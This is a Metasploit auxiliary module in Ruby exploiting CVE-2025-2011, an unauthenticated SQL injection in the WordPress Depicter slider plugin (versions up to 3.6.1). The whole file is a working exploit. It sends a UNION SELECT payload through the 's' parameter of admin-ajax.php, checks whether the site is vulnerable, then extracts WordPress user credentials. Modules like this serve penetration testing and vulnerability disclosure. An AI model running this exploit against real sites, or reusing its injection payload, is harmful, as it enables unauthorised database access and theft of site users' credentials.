##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
  prepend Msf::Exploit::Remote::AutoCheck

  GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Depicter Plugin SQL Injection (CVE-2025-2011)',
        'Description' => %q{
          The Slider & Popup Builder by Depicter plugin for WordPress <= 3.6.1
          is vulnerable to unauthenticated SQL injection via the 's' parameter
          in admin-ajax.php.
        },
        'Author' => [
          'Muhamad Visat',     # Vulnerability discovery
          'Valentin Lobstein'  # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-2011'],
          ['EDB', '52285'],
          ['WPVDB', '6f894272-3eb6-4595-ae00-1c4b0c0b6564'],
          ['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-2011'],
          ['URL', 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179']
        ],
        'DefaultOptions' => {
          'VERBOSE' => true,
          'COUNT' => 1
        },
        'DisclosureDate' => '2025-05-08',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']),
      Opt::RPORT(80)
    ])
  end

  def get_sqli_object
    create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
      expr = payload.to_s.strip.gsub(/\s+/, ' ')
      r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
      injected = "#{r1}') UNION SELECT #{r2},#{r3},(#{expr}),#{r4},#{r5}-- -"

      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri('wp-admin', 'admin-ajax.php'),
        'vars_get' => {
          'action' => 'depicter-lead-index',
          's' => injected,
          'perpage' => rand(10..50).to_s,
          'page' => rand(1..3).to_s,
          'orderBy' => 'source_id',
          'order' => %w[ASC DESC].sample,
          'dateStart' => '',
          'dateEnd' => '',
          'sources' => ''
        }
      )

      next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200

      doc = res.get_json_document
      value = if doc.respond_to?(:dig)
                doc.dig('hits', 0, 'content', 'id')
              else
                GET_SQLI_OBJECT_FAILED_ERROR_MSG
              end

      next GET_SQLI_OBJECT_FAILED_ERROR_MSG if value.to_s.empty?

      value
    end
  end

  def check
    @sqli = get_sqli_object
    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
    return Exploit::CheckCode::Vulnerable('SQL injection test succeeded') if @sqli.test_vulnerable

    Exploit::CheckCode::Safe('SQL injection test did not succeed')
  end

  def run
    @sqli ||= get_sqli_object
    if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
      fail_with(Failure::UnexpectedReply, @sqli)
    end
    wordpress_sqli_initialize(@sqli)
    wordpress_sqli_get_users_credentials(datastore['COUNT'])
  end
end
